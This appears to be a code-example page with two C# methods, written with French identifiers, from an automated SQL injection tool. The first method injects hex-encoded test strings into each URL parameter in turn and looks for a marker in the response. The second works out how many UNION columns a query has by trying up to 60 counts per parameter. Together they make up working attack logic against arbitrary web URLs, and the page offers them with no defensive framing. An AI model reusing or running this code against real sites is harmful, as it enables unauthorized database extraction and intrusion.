Beispiel #1
0
        public bool demmareAnalyseAvanced(string url)
        {
            checked
            {
                string      url_racine = url.Split('?')[0];
                HttpRequete hr         = new HttpRequete();
                chaine      ch         = new chaine();
                _param = ch.analyseParam(url);

                string param_curr = baseI.Replace(var_n, baseF.Replace(var_n, ch.getHex(separateur) + "," + ch.getHex(testSTR) + "," + ch.getHex(separateur)));

                for (int i = 0; i < _param.Count; i++)
                {
                    string url_c = url_racine + ch.ViderDernierParam(ch.genParamParIndex(_param, 0, i + 1)) + ch.Encode(param_curr) + ch.genParamParIndex(_param, i + 1, _param.Count);
                    string page  = hr.get(url_c);
                    if (verifPageAdvenced(page))
                    {
                        return(true);
                    }
                }
                return(false);
            }
        }
Beispiel #2
0
 public int Compter(List <string> param, string url_base, string union)
 {
     checked
     {
         HttpRequete hr = new HttpRequete();
         for (int p = 0; p < param.Count; p++)
         {
             for (int i = 0; i <= 60; i++)
             {
                 string url_curr = url_base +
                                   ch.ViderDernierParam(ch.genParamParIndex(param, 0, (p + 1))) +
                                   ch.Encode(union.Replace(var_n, GenSynHex(i))) +
                                   ch.genParamParIndex(param, p + 1, param.Count);
                 string page = hr.get(url_curr);
                 if (page.Contains(syntax_count))
                 {
                     return(i);
                 }
             }
         }
         return(0);
     }
 }